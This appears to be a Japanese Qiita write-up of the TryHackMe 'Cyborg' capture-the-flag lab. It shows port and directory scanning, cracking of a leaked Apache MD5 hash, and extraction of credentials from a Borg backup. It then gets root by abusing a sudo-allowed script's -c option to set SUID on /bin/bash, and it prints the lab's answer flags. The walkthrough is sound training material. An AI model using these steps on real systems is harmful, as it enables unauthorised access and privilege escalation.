0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【TryHackMe】Cyborg:Walkthrough

Posted at

概要

TryHackMe「Cyborg」のWalkthroughです。

Task2

Q1.Scan the machine, how many ports are open?

ポートスキャンを実行します。

$ nmap -Pn -T4 -sVC -p- 10.201.65.68 -oN nmap_result

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 db:b2:70:f3:07:ac:32:00:3f:81:b8:d0:3a:89:f3:65 (RSA)
|   256 68:e6:85:2f:69:65:5b:e7:c6:31:2c:8e:41:67:d7:ba (ECDSA)
|_  256 56:2c:79:92:ca:23:c3:91:49:35:fa:dd:69:7c:ca:ab (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.18 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

ポートの稼働状況が分かりました。

ポート サービス バージョン
22 ssh OpenSSH 7.2p2
80 http Apache/2.4.18

A.2

Q2.What service is running on port 22?

ポートスキャンの結果から、22番ポートではSSHが動作していると分かりました。

A.ssh

Q3.What service is running on port 80?

ポートスキャンの結果から、80番ポートではHTTPが動作していると分かりました。

A.http

Q4.What is the user.txt flag?

ディレクトリスキャンをすると、/admin/etcを発見しました。

$ dirsearch -u http://10.201.65.68/

[08:52:59] 301 -  312B  - /admin  ->  http://10.201.65.68/admin/            
[08:52:59] 200 -    2KB - /admin/                                           
[08:53:00] 200 -    2KB - /admin/admin.html                                 
[08:53:00] 200 -    2KB - /admin/index.html                                 
[08:53:27] 301 -  310B  - /etc  ->  http://10.201.65.68/etc/                
[08:53:27] 200 -  445B  - /etc/

/etcにアクセスすると、/etc/squidを発見しました。

image.png

/etc/squidには二つのファイルが用意されています。

image.png

/etc/squid/passwdを見ると、認証情報を得られました。

$ curl http://10.201.65.68/etc/squid/passwd                                                   
music_archive:$apr1$BpZ.Q.1m$F0qqPwHSOG50URuOVQTTn.

片方がハッシュ値なので、アルゴリズムを確認すると、MD5(APR)だと分かりました。

$ hashid '$apr1$BpZ.Q.1m$F0qqPwHSOG50URuOVQTTn.'                        
Analyzing '$apr1$BpZ.Q.1m$F0qqPwHSOG50URuOVQTTn.'
[+] MD5(APR) 
[+] Apache MD5

ハッシュ値を解析し、平文を特定できました。

$ john --wordlist=/usr/share/wordlists/rockyou.txt hash

squidward        (?)

さらに、/admin配下を列挙すると/admin/archive.tarを発見しました。

$ dirsearch -u http://10.201.65.68/admin

[08:58:36] 200 -    2KB - /admin/admin.html                                 
[08:58:54] 200 -    1MB - /admin/archive.tar

archive.tarをダウンロードし、解凍します。

$ tar -xvf archive.tar            
home/field/dev/final_archive/
home/field/dev/final_archive/hints.5
home/field/dev/final_archive/integrity.5
home/field/dev/final_archive/config
home/field/dev/final_archive/README
home/field/dev/final_archive/nonce
home/field/dev/final_archive/index.5
home/field/dev/final_archive/data/
home/field/dev/final_archive/data/0/
home/field/dev/final_archive/data/0/5
home/field/dev/final_archive/data/0/3
home/field/dev/final_archive/data/0/4
home/field/dev/final_archive/data/0/1

READMEを見ると、Borg Backupというツールでバックアップがとられているようです。

$ cat README 
This is a Borg Backup repository.
See https://borgbackup.readthedocs.io/

URLからドキュメントを確認できました。

borgbackupツールをインストールします。

$ sudo apt -y install borgbackup

ドキュメントからextractオプションの使用方法が分かりました。

image.png

/admin/admin.htmlの内容では、music_archiveに言及がされていました。

image.png

判明したパスワードsquidwardを使用して、borg extractコマンドを実行します。

$ borg extract ./home/field/dev/final_archive::music_archive
Enter passphrase for key /home/kali/Cyborg/home/field/dev/final_archive:

新たにhome/alexを発見できました。

$ ls -la home/alex 
total 64
drwxr-xr-x 12 kali kali 4096 Dec 29  2020 .
drwxrwxr-x  4 kali kali 4096 Sep 17 09:25 ..
-rw-------  1 kali kali  439 Dec 28  2020 .bash_history
-rw-r--r--  1 kali kali  220 Dec 28  2020 .bash_logout
-rw-r--r--  1 kali kali 3637 Dec 28  2020 .bashrc
drwx------  4 kali kali 4096 Dec 28  2020 .config
drwx------  3 kali kali 4096 Dec 28  2020 .dbus
drwxrwxr-x  2 kali kali 4096 Dec 29  2020 Desktop
drwxrwxr-x  2 kali kali 4096 Dec 29  2020 Documents
drwxrwxr-x  2 kali kali 4096 Dec 28  2020 Downloads
drwxrwxr-x  2 kali kali 4096 Dec 28  2020 Music
drwxrwxr-x  2 kali kali 4096 Dec 28  2020 Pictures
-rw-r--r--  1 kali kali  675 Dec 28  2020 .profile
drwxrwxr-x  2 kali kali 4096 Dec 28  2020 Public
drwxrwxr-x  2 kali kali 4096 Dec 28  2020 Templates
drwxrwxr-x  2 kali kali 4096 Dec 28  2020 Videos

home/alex/Documents/note.txtから、alexの認証情報を得られました。

$ cat Documents/note.txt 
Wow I'm awful at remembering Passwords so I've taken my Friends advice and noting them down!

alex:S3cretP@s3

得られた認証情報でSSH接続に成功しました。

$ ssh alex@10.201.65.68

alex@ubuntu:~$ whoami
alex

ユーザーフラグを入手できました。

alex@ubuntu:~$ cat user.txt 
flag{1_hop3_y0u_ke3p_th3_arch1v3s_saf3}

A.flag{1_hop3_y0u_ke3p_th3_arch1v3s_saf3}

Q5.What is the root.txt flag?

sudo -lを確認すると、/etc/mp3backups/backup.shが許可されています。

alex@ubuntu:~$ sudo -l
Matching Defaults entries for alex on ubuntu:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User alex may run the following commands on ubuntu:
    (ALL : ALL) NOPASSWD: /etc/mp3backups/backup.sh

/etc/mp3backups/backup.shの処理を確認します。

/etc/mp3backups/backup.sh
#!/bin/bash

sudo find / -name "*.mp3" | sudo tee /etc/mp3backups/backed_up_files.txt


input="/etc/mp3backups/backed_up_files.txt"
#while IFS= read -r line
#do
  #a="/etc/mp3backups/backed_up_files.txt"
#  b=$(basename $input)
  #echo
#  echo "$line"
#done < "$input"

while getopts c: flag
do
        case "${flag}" in 
                c) command=${OPTARG};;
        esac
done



backup_files="/home/alex/Music/song1.mp3 /home/alex/Music/song2.mp3 /home/alex/Music/song3.mp3 /home/alex/Music/song4.mp3 /home/alex/Music/song5.mp3 /home/alex/Music/song6.mp3 /home/alex/Music/song7.mp3 /home/alex/Music/song8.mp3 /home/alex/Music/song9.mp3 /home/alex/Music/song10.mp3 /home/alex/Music/song11.mp3 /home/alex/Music/song12.mp3"

# Where to backup to.
dest="/etc/mp3backups/"

# Create archive filename.
hostname=$(hostname -s)
archive_file="$hostname-scheduled.tgz"

# Print start status message.
echo "Backing up $backup_files to $dest/$archive_file"

echo

# Backup the files using tar.
tar czf $dest/$archive_file $backup_files

# Print end status message.
echo
echo "Backup finished"

cmd=$($command)
echo $cmd

/etc/mp3backups/backup.sh-c引数で任意のコマンドを実行しています。
ここで権限昇格が出来そうです。

/etc/mp3backups/backup.sh
(省略)

while getopts c: flag
do
        case "${flag}" in 
                c) command=${OPTARG};;
        esac
done

(省略)

cmd=$($command)
echo $cmd

/etc/mp3backups/backup.sh-cオプションを利用し、/bin/bashにSUIDを設定します。

alex@ubuntu:/etc/mp3backups$ sudo /etc/mp3backups/backup.sh -c "chmod u+s /bin/bash"

alex@ubuntu:/etc/mp3backups$ ls -la /bin/bash 
-rwsr-xr-x 1 root root 1037528 Jul 12  2019 /bin/bash

SUIDを設定したので、root権限を取得できました。

alex@ubuntu:/etc/mp3backups$ /bin/bash -p
bash-4.3# whoami
root

ルートフラグを入手できました。

bash-4.3# cat /root/root.txt 
flag{Than5s_f0r_play1ng_H0p£_y0u_enJ053d}

A.flag{Than5s_f0r_play1ng_H0p£_y0u_enJ053d}

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?